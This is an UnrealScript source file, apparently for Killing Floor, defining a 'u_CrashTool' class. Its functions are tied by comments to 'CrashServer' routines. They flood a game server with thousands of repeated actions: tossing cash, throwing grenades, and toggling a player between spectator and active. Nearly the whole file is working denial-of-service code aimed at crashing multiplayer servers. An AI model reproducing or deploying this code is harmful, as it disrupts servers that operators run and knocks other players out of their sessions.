class u_CrashTool extends Object;


// dosh spam for CrashServer()
final static function doshspam(KFHumanPawn p)
{
  local int i;

  while (p != none && i < 10000)
  {
    p.tossCash(1);
    i++;
  }
}


// spec-join spam for CrashServer2()
final static function nadespam(KFHumanPawn p, int i)
{
  local int n;

  // StopWatch(false);
  while (p != none && n < i)
  {
    ThrowNade(p);
    n++;
  }
  // StopWatch(true);
}


// spec-join spam for CrashServer3()
final static function specspam(KFPlayerController pc)
{
  local int i;

  while (pc != none && i < 10000)
  {
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    pc.BecomeActivePlayer();
    pc.BecomeSpectator();
    i++;
  }
}


final static function Frag FindNade(KFHumanPawn p)
{
  local inventory inv;

  if (p == none)
    return none;

  for(inv = p.Inventory; inv != None; inv = inv.Inventory)
  {
    if(ClassIsChildOf(inv.class, class'Frag'))
    {
      return Frag(inv);
    }
  }
}


final static function ThrowNade(KFHumanPawn p)
{
  if (p == none || FindNade(p) == none)
    return;

  FindNade(p).ServerThrow();
}